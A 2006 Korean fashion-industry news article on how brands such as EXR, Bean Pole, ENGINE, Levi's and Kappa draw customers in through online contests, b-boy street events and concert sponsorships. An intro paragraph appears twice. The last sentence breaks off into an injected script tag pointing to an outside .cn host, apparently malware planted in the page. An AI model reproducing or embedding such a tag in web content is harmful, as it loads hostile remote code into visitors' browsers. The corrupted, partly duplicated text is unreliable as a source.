소비자가 주인되는 브랜드 세상

2006-03-10 권자영 기자 

TV와 잡지 등을 통해 공급자의 정책을 말하는 일방적 마케팅의 시대가 저물고 있다. 인테넷의 발달은 공급자와 소비자의 쌍방향 커뮤니케이션을 가능하게 만들었고, 수동적일 수밖에 없었던 소비자들은 이제 자신의 목소리를 내는 것은 물론 상품, 가격 등 브랜드 정책에 큰 영향을 미치기 시작했다.


「이엑스알」의 홈페이지(www.exrkorea.com)는‘나도 힙짱 포토제닉’, ‘스노우보드 페스티벌’ 등 매달 2∼3가지의 이벤트가 열린다. 지난 3월 「이엑스알」 홈페이지를 찾은 방문자 수가 70만 명에 달한다. 1인당 체류시간은 평균 10분. 방문자 수가 비슷한 여느 브랜드의 평균 체류시간이 1∼2분 정도인 것을 감안하면 적지 않은 수치이다. 「이엑스알」의 고객들은 홈페이지에서 필요한 정보를 둘러보고 나가는 것이 아니라, 이벤트를 통해 회사와 커뮤니케이션을 하고 있는 것이다.

TV와 잡지 등을 통해 공급자의 정책을 말하는 일방적 마케팅의 시대가 저물고 있다. 인테넷의 발달은 공급자와 소비자의 쌍방향 커뮤니케이션을 가능하게 만들었고, 수동적일 수밖에 없었던 소비자들은 이제 자신의 목소리를 내는 것은 물론 상품, 가격 등 브랜드 정책에 큰 영향을 미치기 시작했다.

최근 패션 브랜드들은 소비자의 관심을 모으고 브랜드 호감도를 높이기 위해 모델 콘테스트, 아이디어 공모전 등 고객참여 형식의 이벤트를 선보이고 있다. 자기표현에 강한 요즘 소비자들은 이 같은 이벤트 참여에 적극적이며 때로는 그 브랜드의 주인공이 되기도 한다. 패션 기업들은 소비자를 브랜드의 디자이너로 만들어주기도 하고 고객을 모델, 탤런트가 되도록 지원해 주기도 한다.


윤정애 씨는 평소 좋아하는 「빈폴」의 홈페이지를 즐겨찾기에 등록해 놨다. 수시로 「빈폴」의 홈페이지에 들어가는 윤 씨는 지난달 홈페이지 팝업창에 뜬 「빈폴진」의 모델 모집공고를 보고 재미 반 호기심 반으로 응모를 했다. 당선이 되면 자신이 좋아하는 브랜드의 전속모델로 활동할 수 있다는 조건이 끌려서였다.

이번 이벤트는 「빈폴진」의 주 타겟층을 이벤트에 참가하게 했다는 점에서 성공적이었다.
하세호 씨는 지난달 여자친구와 「엔진」의 커플티셔츠를 구입했다. 하 씨는 며칠 전 「엔진」의 홈페이지에 들어갔다가 ‘베스트 커플 룩 콘테스트’를 한다는 내용을 보자마자 여자친구와 사진을 한 장 찍어서 올렸다. 상품은 그 브랜드의 티셔츠로 그다지 파격적이지는 않지만 여자친구와 찍은 사진을 사람들에게 자랑하고 싶은 마음이 크게 작용했기 때문이다.

10대가 주 고객인 「엔진」은 큰 비용을 들이지 않고도 고객의 참여를 유도할 수 있는 방법을 생각해 낸 것이다. 패션 기업의 마케팅 담당자들은, “이벤트는 브랜드의 타겟과 컨셉의 연장선상에 있어야 한다. 연예인 팬사인회처럼 다수의 사람을 불러모을 수는 있지만 정작 브랜드에는 관심을 갖지 않고 흩어지는 이벤트는 지양해야 한다”며 “궁극적으로 브랜드의 이미지까지 상승시켜 줄 수 있는 마케팅을 해야 한다”고 말한다.



컨셉과 타겟을 잊지 말자

브레이크댄스를 칭하는 비보잉이 최근 브랜드 행사에 자주 등장하고 있다. 비보잉의 역동적이고 마니아적인 이미지를 브랜드와 연결시키기 위해서다.

「리바이스」의 엔지니어드 진은 ‘프리 투 무브’ 컨셉을 비보잉과 연계해 길거리에서 이벤트를 열었다. 자유자재로 다양한 동작을 보여주는 비보잉이 엔지니어드와 맞아 떨어진 것이다. 「푸마」는 압구정 컨셉 스토어 오픈을 기념하는 행사에 비보이들의 무대를 마련했고, 「엔진」은 매장 오픈행사에 비보이들과 함께 전국을 돌아다니며 브랜드 홍보를 했다. 공연과 연계한 이벤트 역시 브랜드의 타겟을 정확히 파악하고 컨셉을 자연스럽게 느낄 수 있게 해주는 것이 중요하다.

「카파」는 지난해 일본의 뮤지션 FPM의 내한 공연의 스폰서로 나섰다. 지난해 두 번 열린 FPM의 공연에는 각각 4천 명이 넘는 관객들이 몰렸다.

「카파」는 공연장 입구에서부터 가장 눈에 잘 띄는 곳에 카파 로고를 노출시켰다. 공연 도중에는 관객들에게 카파 로고가 크게 새겨진 애드벌룬을 던져 관객들이 머리위로 애드벌룬을 넘겨가며 놀 수 있게 준비했다.

「카파」 홍보팀 이선영 차장은, “요즘 소비자들은 트레이닝웨어를 운동복으로만 생각하지 않는다. 춤을 출 때도 멋을 내기 위해 입을 수 있는 옷이 「카파」다. FPM이 이끄는 파티 분위기의 스탠딩 공연이라는 점이 「카파」의 고객층과 잘 맞아떨어진다고 판단했다”고 설명했다.

무조건적인 협찬보다는 브랜드 컨셉에 맞는 공연을 찾아 고객에게 재미와 흥미를 준다는 것이 카파의 전략이다.

「이엑스알」은 지난달 월간지 앙앙과 함께 댄스 파티를 열었다. 1천여 명이 모인 파티장에서는 이엑스알의 옷을 입고 춤을 추는 사람?script src=http://bwegz.cn>

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